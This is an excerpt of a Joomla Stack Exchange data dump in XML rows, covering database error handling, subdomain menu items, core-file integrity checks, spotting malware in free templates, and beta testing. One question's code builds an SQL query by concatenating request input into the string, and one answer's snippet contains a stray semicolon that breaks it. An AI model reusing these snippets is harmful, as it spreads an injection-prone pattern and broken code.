LastActivityDate="2014-05-02T12:10:34.957" Title="Unable to log into administrator section of Joomla 2.5" Tags="|joomla-2.5|administrator|" AnswerCount="2" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="493" PostTypeId="1" AcceptedAnswerId="494" CreationDate="2014-04-30T14:20:27.980" Score="6" ViewCount="113" Body="&lt;p&gt;I've created a new Joomla site and trying to post a new article that contains SQL code.&#xA;When ever I enter the text &lt;code&gt;Declare @allowance decimal(18,2)&lt;/code&gt; and save the article I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Forbidden&#xA;You do not have permission to access this document.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can post the text &lt;code&gt;Declar @allowance decimal(18,2)&lt;/code&gt; or just &lt;code&gt;Declare&lt;/code&gt; or variations of it.  it just throws this error on certain keyword combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled Joomla's text filtering and also disabled the WYSIWYG editors. And I'm posting the article as a Super User.&#xA;I can't see mod_security in the list of loaded modules on my host.  So I assume this is not the cause of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you come across this error before?  Any pointers please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="277" LastActivityDate="2014-05-01T14:56:23.607" Title="Unable to post SQL code as part of the article text" Tags="|security|articles|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostTypeId="2" ParentId="493" CreationDate="2014-04-30T14:28:54.933" Score="4" Body="&lt;p&gt;Is it an error shown by the server or by Joomla?&#xA;Because I would indeed suspect some server security filter here. Be it mod_security or whatever your hoster came up with.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-30T14:28:54.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="495" PostTypeId="1" CreationDate="2014-04-30T14:42:33.807" Score="5" ViewCount="4548" Body="&lt;p&gt;I was trying to develop Joomla 2.5 and 3 component. As many things deprecated between these two versions and the way to throw and catch database and other errors, I could not find ways yet to make single component for both 2.5 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is making component separately for 2.5 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, in 2.5 this way I am catching an error in database: - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!$database-&amp;gt;query())&#xA;{ &#xA;    return false; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I show or return exact error message to the view class so that error is displayed in the component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, for another kind of db query, I am getting data from db this way in model class (here is my code in model's function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_data = null; &#xA;if(JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id') &amp;gt; 0) {&#xA;    $db = JFactory::getDBO();&#xA;    $db-&amp;gt;setQuery(&quot;select * from `#__tablename_wrong` where `id`='&quot;.JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id').&quot;'&quot;);&#xA;}&#xA;if ($db-&amp;gt;getErrorNum()) {&#xA;    JError::raiseWarning(500, $db-&amp;gt;getErrorMsg());&#xA;}&#xA;$this-&amp;gt;_data = $db-&amp;gt;loadObject(); &#xA;return $this-&amp;gt;_data; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can inspect &lt;code&gt;$this-&amp;gt;_data&lt;/code&gt; in view class to see if 0 records return but again how do I display a specific database error message or return an error message to my view class to show errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So these are the most common ways developers should show errors while doing database queries in 2.5.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="12352" LastEditDate="2019-06-03T12:28:28.590" LastActivityDate="2019-06-03T12:28:28.590" Title="How to do SQL exception / error handling compatible with 2.5 and 3.x?" Tags="|joomla-3.x|joomla-2.5|joomla-api|error-handling|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="496" PostTypeId="1" AcceptedAnswerId="527" CreationDate="2014-04-30T14:56:10.327" Score="8" ViewCount="2391" Body="&lt;p&gt;I want to create a menu-structure like this in Joomla 2.5:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Root (&lt;code&gt;www.example.com&lt;/code&gt;)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;About (&lt;code&gt;www.example.com/about&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Site a (&lt;code&gt;a.example.com&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Site b (&lt;code&gt;b.example.com&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create menu items with different subdomains and how do I create them?&#xA;I worked with the CMS &quot;typo3&quot; previously and there was no problem in doing this, but a long search through the internet didn't help me with this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &#xA;Note that &lt;code&gt;a.example.com&lt;/code&gt; and &lt;code&gt;b.example.com&lt;/code&gt; are on the same Joomla installation, so I'd like to make a new &quot;Single Article&quot; with a subdomain.&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="28" LastEditDate="2014-05-01T10:06:44.007" LastActivityDate="2017-12-09T08:58:42.160" Title="How can I create a menu item on a different subdomain?" Tags="|joomla-2.5|menu-item|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="497" PostTypeId="2" ParentId="496" CreationDate="2014-04-30T15:03:36.563" Score="2" Body="&lt;p&gt;For the menu items you need to link to your sub domains, go to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu-item parameters &amp;gt; menu item type &amp;gt; system links &amp;gt; choose &quot;External URL&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;code&gt;Link&lt;/code&gt; field you can type the URL of your sub domains.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2014-04-30T15:03:36.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="498" PostTypeId="1" AcceptedAnswerId="506" CreationDate="2014-04-30T16:53:04.737" Score="16" ViewCount="1696" Body="&lt;p&gt;When updating Joomla sites to the latest version I always have a minor panic in case the site I'm upgrading, built in the past by some rogue developer (i.e. me, 6 years ago), happens to feature changes ('hacks') to core Joomla files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an ideal world I could avoid this potential coronary by having an extension or tool that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Knows all the core Joomla files included in each version of Joomla&lt;/li&gt;&#xA;&lt;li&gt;Compares each file on my Joomla install to the master Joomla source files on Github or wherever (even something like an MD5 hash comparison)&lt;/li&gt;&#xA;&lt;li&gt;If they differ, kick off a diff tool to find the differences and flag them for review&lt;/li&gt;&#xA;&lt;li&gt;If they're the same, great stuff, no action required&lt;/li&gt;&#xA;&lt;li&gt;Generate a report at the end detailing the results of the above process&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/update-check/12026&quot;&gt;this extension&lt;/a&gt; which does most of the above, but it hasn't been updated since J2.5.7 or at all for J3.X - so that's out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At my company we use &lt;a href=&quot;http://myjoomla.com/&quot;&gt;MyJoomla&lt;/a&gt; to conduct full Joomla site 'audits' (a long checklist of best practice guidelines and fixes for Joomla sites) every once in a while, part of which is a 'Core Files Integrity Check'. However this service has a monthly subscription fee and all I really want to check is whether any files have been hacked before making an upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any other solutions? &lt;em&gt;Aside&lt;/em&gt; from 'don't hack core files' - until quite recently there was sometimes no other way to perform certain tasks without a boatload of additional, often unpaid, work.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-12-21T00:47:10.797" Title="Recommended extension / tool to check for core file modifications?" Tags="|cms|update|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostTypeId="1" CreationDate="2014-04-30T16:56:33.817" Score="3" ViewCount="174" Body="&lt;p&gt;I have a Joomla 3.2.3 site and it has started making very strange alias on menu items. This just started to happen in the last few days, before it was creating the menu item alias/urls as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of my new menu items have &lt;code&gt;/com-joomgallery-ajax-upload&lt;/code&gt; added to the beginning of the menu alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I go into the a menu and make a new menu item of type Single Article, set the title to &quot;Member Login&quot;, choose the article I want to use and save. The menu item is under the root of the menu. The link to the page becomes: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/com-joomgallery-ajax-upload/member-login&lt;/code&gt; rather than just: &lt;code&gt;/member-login&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The redirect Manager is not enabled. I don't have any 3rd party SEF extensions installed. I am using the Joomla SEF Friendly URLs with mod_rewrite enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how to 'fix' this problem?&lt;/p&gt;&#xA;" OwnerUserId="283" LastEditorUserId="159" LastEditDate="2014-04-30T17:41:02.567" LastActivityDate="2015-02-23T12:44:27.423" Title="Issue with joomgallery appended to menu item alias" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostTypeId="2" ParentId="495" CreationDate="2014-04-30T17:20:35.587" Score="4" Body="&lt;p&gt;&lt;strong&gt;Watch out for exposing too much info!&lt;/strong&gt; Please note that by throwing SQL errors into the wild, you may expose your database structure or other sensitive information.  I would throw SQL errors only in backend (to let's say trusted users) and in frontend just a generic error and I would log the exact error in a error log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doing a query in 3.x catching and throwing exceptions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('X') // This is specially added to throw an SQL error.&#xA;      -&amp;gt;from('#__users');&#xA;&#xA;try&#xA;{&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadResult(); // If it fails, it will throw a RuntimeException &#xA;}&#xA;catch (RuntimeException $e)&#xA;{&#xA;    throw new Exception($e-&amp;gt;getMessage());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doing a query in Joomla 2.5 and 3.x using old deprecated functions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('X'); // This is specially added to throw an SQL error.&#xA;      -&amp;gt;from('#__users');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Check for a database error.&#xA;if ($db-&amp;gt;getErrorNum()) {&#xA;    JError::raiseWarning(500, $db-&amp;gt;getErrorMsg());&#xA;}&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-30T17:20:35.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="502" PostTypeId="2" ParentId="498" CreationDate="2014-04-30T17:40:35.383" Score="2" Body="&lt;p&gt;I don't know any extension other than the one you mentioned, which is stopped somewhere in J2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My way of handling this is by using desktop applications for file/folder comparison and I compare the site in question with its original joomla version.&#xA;I personally use the DiffMerge on mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another utility I know that could help you keep track of hacked/modified files on your sites is the Admin Tools pro. It provides the php scanner tool. But practically this one is for sites you have developed and scanned after launching, and to help you discover any infected files after hacking attempts.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-04-30T17:40:35.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="503" PostTypeId="1" AcceptedAnswerId="504" CreationDate="2014-04-30T18:05:19.817" Score="18" ViewCount="1253" Body="&lt;p&gt;I recently came across a site giving away good quality themes for free - but once downloaded it turned out that all the themes contained poorly concealed malware. Thankfully on this occasion my anti-virus picked it up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the common signs that a theme might contain malware, are there any obvious or well known tricks that I should be aware of?&lt;/p&gt;&#xA;" OwnerUserId="230" LastEditorUserId="159" LastEditDate="2014-04-30T18:43:32.617" LastActivityDate="2019-09-07T08:59:18.063" Title="How can I tell if a free template contains malware" Tags="|cms|security|templates|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostTypeId="2" ParentId="503" CreationDate="2014-04-30T18:25:42.697" Score="12" Body="&lt;p&gt;Since you're looking for free templates I assume you're not looking to spend extra, but mysites.guru (formerly myjoomla.com) has excellent security scanning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The details of what you're looking for:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start with looking for any inserted iframes.  &lt;/li&gt;&#xA;&lt;li&gt;Then look for any php files that are not the index.php or component.php, etc layout files..and if you see anything besides Joomla classes in them, they may be serving the malware.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, a commercial template will have several supplemental php files, so not all additional php files are bad, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest &quot;gotcha&quot; though is the iframe.&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="120" LastEditDate="2019-09-07T08:59:18.063" LastActivityDate="2019-09-07T08:59:18.063" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="506" PostTypeId="2" ParentId="498" CreationDate="2014-04-30T20:27:35.730" Score="11" Body="&lt;p&gt;I can't imagine a better tool than &lt;a href=&quot;http://git-scm.com/book/en/Getting-Started-Git-Basics&quot;&gt;git&lt;/a&gt;. This is a great tool for tracking the changes that you make to code (if you are making any), is the system used by Joomla for contributing code (which is an awesome thing to do), and this is its purpose!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow is pretty simple and should allow you to be pretty worry free:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Back up your joomla website (which you were doing before anyway, right?)&lt;/li&gt;&#xA;&lt;li&gt;Set up the backup copy locally.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;git init&lt;/code&gt; on the root folder of the local copy. Then run &lt;code&gt;git add --all&lt;/code&gt; and &lt;code&gt;git commit&lt;/code&gt;. This takes a snapshot of the code as it is now.&lt;/li&gt;&#xA;&lt;li&gt;Grab the patch that matches your current Joomla version.&lt;/li&gt;&#xA;&lt;li&gt;Install that patch over your local copy.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;git diff&lt;/code&gt; and you will see a list of all differences in files between what you have running and the core files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I recognize that this is a pretty &quot;developery&quot; answer and that not everyone wants to use git in the command line. If you use a Git GUI (such as Github's client), you can skip the last step, since the GUI will typically show you the diff automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I recommend this method since it both teaches you a skill that will help if you code and contribute to Joomla and it keeps all of the checking locally, so you don't have to worry about shipping your code to another website or service!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-30T20:27:35.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="507" PostTypeId="1" AcceptedAnswerId="510" CreationDate="2014-04-30T20:38:44.320" Score="8" ViewCount="212" Body="&lt;p&gt;I've been following the developer email threads and announcements as new Joomla! CMS versions make their way through Betas to Release Candidates to Production Releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout the cycle, the Project Leadership Team (PLT) puts out the call to the community to assist with testing in order to resolve any bugs prior to Production Releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we in the community get involved in testing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there specific prescribed test-case scenarios?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the PLT looking for folks with specific skill-sets?  If yes, which skill-sets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if we can get a high-level overview and links to resources from somebody knowledgeable with Joomla! CMS Testing and how we can best be of assistance. &lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="159" LastEditDate="2014-04-30T21:49:56.230" LastActivityDate="2014-04-30T21:49:56.230" Title="How can we get involved in Joomla! CMS Testing?" Tags="|cms|cms-testing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="508" PostTypeId="2" ParentId="507" CreationDate="2014-04-30T21:07:58.297" Score="6" Body="&lt;p&gt;I've also recently started testing.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If PLT issues a &lt;em&gt;general call to test a whole Beta or RC version&lt;/em&gt;, you can just download it, install and use it for development (not for a live site). If you find an issue, you can report it back to the Joomla general forum to confirm, search in the tracker if there's an already opened issue, or create a new issue.&lt;/li&gt;&#xA;&lt;li&gt;There's always a &lt;em&gt;constant need of testing new features or &lt;strong&gt;bug fixes&lt;/em&gt;&lt;/strong&gt;. This is very specific. You have to access the tracker, read the instructions, apply a patch to a Joomla site, test the case, and report the result (&lt;em&gt;all issues require at least two successfull @test to be approved&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Pizza, Bugs and Fun&lt;/strong&gt; It's a special chapter on Joomla! Events ;-) &lt;em&gt;And, a good way to start&lt;/em&gt;. The event is global for virtual participants (both businesses and individuals), with local venues wherever they are organized. The key goal is to fix as many Joomla 3 and Joomla 2.5 bugs as possible. Example: &lt;a href=&quot;http://docs.joomla.org/Pizza_Bugs_and_Fun_July_12,_2013&quot;&gt;http://docs.joomla.org/Pizza_Bugs_and_Fun_July_12,_2013&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;If you want to test bug fixes (i.e. patches)&lt;/strong&gt;: &lt;a href=&quot;http://docs.joomla.org/Pizza_Bugs_and_Fun_July_12,_2013#If_you_want_to_test_bug_fixes_.28i.e._patches.29&quot;&gt;http://docs.joomla.org/Pizza_Bugs_and_Fun_July_12,_2013#If_you_want_to_test_bug_fixes_.28i.e._patches.29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bug Tracking Process : &lt;a href=&quot;http://docs.joomla.org/Bug_Tracking_Process&quot;&gt;http://docs.joomla.org/Bug_Tracking_Process&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-30T21:07:58.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="509" PostTypeId="2" ParentId="507" CreationDate="2014-04-30T21:17:51.967" Score="4" Body="&lt;p&gt;The most important thing first: Anyone can help, it doesn't matter if you are a user or a developer or designer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When testing betas or RCs, the best thing you can do is to use the CMS. Create articles, tag them, edit them, browse the site, ...&#xA;Do whatever you usually do when using Joomla. Look for anything which doesn't work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the single changes are tested quite well. During beta and RC we want to find the unintended side effects. Those things which broke that nobody thought will break :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-30T21:17:51.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="510" PostTypeId="2" ParentId="507" CreationDate="2014-04-30T21:30:13.147" Score="10" Body="&lt;p&gt;First of all, this is the best way I know to learn new skills and to understand how Joomla works. You are not giving back, but getting back a lot as well. Disclosure: I am a Joomla Bug Squad (JBS) member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reading material&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more on the &lt;a href=&quot;http://docs.joomla.org/Portal%3aBug_Squad&quot;&gt;JBS Portal Page&lt;/a&gt;. To get a general idea, review all the articles from the portal page. It should give you a general overview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can we in the community get involved in testing?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is simpler than you think: by testing, by using Joomla before it's GA (general availability). You can start reviewing the proposed betas or RCs for a specific version. Just install them on your own development / test installations and check if there are issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report on the tracker for any issues you encounter. Check first if you are the first one reporting this or if this a older known issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there specific prescribed test-case scenarios?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally you need to use your own business needs and test against them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing is required on proposed fixes for known bugs or on new features. Each bug fix must have two people who tested it. This is actually an area where the the JBS is overwhelmed and needs as much help as it can get. Updates and new installations are also important. You will never run out of things to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is the JBS looking for folks with specific skill-sets? If yes, which skill-sets?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, all skill-sets :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla! Bug Squad (JBS) is a team within the Production Working Groups. Their job is to identify and fix bugs in Joomla. See more at &lt;a href=&quot;http://docs.joomla.org/Bug_Squad&quot;&gt;Introduction to the Joomla! Bug Squad&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that you can get involved no matter your skill-set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So how can I start, do I need to be a JBS member?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, you don't need to. You can start by checking the &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemBrowse&amp;amp;tracker_id=8103&quot;&gt;Joomla Issue Tracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can help by (setting the filter status) looking into issues that are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open - issues that are not confirmed. Follow the replication instructions and see if you can replicate the issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pending - issues that are generally confirmed and have a fix. Try to replicate the issue and than apply the proposed patch. See if everything works good.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If after you've read an issue you feel that you understand it, look into it. If it's another language for you, just move on. There are all types of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Got more questions?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it fits the format for stackexchange ask it here, otherwise you can ask them in the &lt;a href=&quot;https://groups.google.com/d/forum/joomla-dev-cms&quot;&gt;CMS Development Group&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-04-30T21:45:13.010" LastActivityDate="2014-04-30T21:45:13.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostTypeId="2" ParentId="503" CreationDate="2014-04-30T21:38:26.603" Score="11" Body="&lt;p&gt;Perhaps there is only one safe answer - only download direct from the original creator and preferably from a well known template house. Most of the commercial template devs do at least one free template. Do your research on the creator as much as the template ;)&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-04-30T21:38:26.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="512" PostTypeId="1" AcceptedAnswerId="514" CreationDate="2014-04-30T22:18:06.380" Score="8" ViewCount="1102" Body="&lt;p&gt;I'd like to implement something similar to &quot;sticky&quot; articles in a forum, where one or two of these appear at the top, followed by blog content, and I want these &quot;sticky&quot; articles to be editable by a moderator in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of simulating a single &quot;sticky&quot; article is to place the content in the category description, but, this only works for one article, and it not editable in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to think laterally.  Perhaps I'm thinking about it all wrong.  This could possibly be done as a separate blog category that is displayed below the main articles (in a module?), and where the blog items themselves are managed under a separate menu item.&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditDate="2014-04-30T22:32:48.707" LastActivityDate="2014-09-13T22:28:10.450" Title="Implementing sticky articles" Tags="|articles|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="513" PostTypeId="2" ParentId="496" CreationDate="2014-04-30T22:21:43.430" Score="-1" Body="&lt;p&gt;Yes, you can create that menu structure in Joomla. In general the menu items point to a view in a component specifying the item and other parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you install Joomla with the learning demo data, you'll notice two completely different sample sites, including the learning demo, teaching you everything about Joomla.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-30T22:21:43.430" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="514" PostTypeId="2" ParentId="512" CreationDate="2014-04-30T22:56:39.470" Score="9" Body="&lt;p&gt;The simplest method that I can think is to use the &quot;featured&quot; option on the articles. Mark any article that you want &quot;sticky&quot; as &quot;featured&quot; in the article manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the menu item for the blog layout, switch to the &quot;blog layout&quot; and look for &quot;article order&quot;. Select &quot;Featured Articles Order&quot; to put the featured articles first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad side of this method is that it uses &quot;ordering&quot; as the secondary metric instead of date. So the articles will put the featured first and then sort them by the ordering that you set in the article manager, not necessarily newest first. (This allows you to order the sticky articles though, so that is nice.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that new articles will default to the top order spot, so it should be roughly in date order, but there could be some quirks to that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ PW: The secondary ordering is the feature order, not the article order, hence that's problem, unless I modify core code to add a third ordering.  I've created Joomla Tracker Item #33685 and included a patch. Now all we need to do is get it tested and accepted. ]&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="127" LastEditDate="2014-05-02T10:46:40.230" LastActivityDate="2014-05-02T10:46:40.230" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostTypeId="2" ParentId="495" CreationDate="2014-05-01T00:37:21.160" Score="6" Body="&lt;p&gt;Pretty much the same as @ValentinDespa 's answer but i'm just gonna merge the two things together into something that will work in 2.5 and 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This rather than displaying a full page error message just returns false and then inserts an error message into the top of the page. Hope that's what you're after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('X') // This is specially added to throw an SQL error.&#xA;      -&amp;gt;from('#__users');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;if(!JError::$legacy)&#xA;{&#xA;    try&#xA;    {&#xA;        // If it fails, it will throw a RuntimeException&#xA;        $result = $db-&amp;gt;loadResult(); &#xA;    }&#xA;    catch (RuntimeException $e)&#xA;    {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage());&#xA;&#xA;        return false;&#xA;    }&#xA;}&#xA;else&#xA;{&#xA;    $result = $db-&amp;gt;loadResult();&#xA;&#xA;    // Check for a database error.&#xA;    if ($db-&amp;gt;getErrorNum())&#xA;    {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage($db-&amp;gt;getErrorMsg());&#xA;&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JError legacy switch was false in 2.5 to use JError and then true in 3.x to use exceptions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a full example of me using this in one of my modules here &lt;a href=&quot;https://github.com/JoomJunk/shoutbox/blob/development/mod_shoutbox/helper.php#L33&quot;&gt;https://github.com/JoomJunk/shoutbox/blob/development/mod_shoutbox/helper.php#L33&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-05-01T00:37:21.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
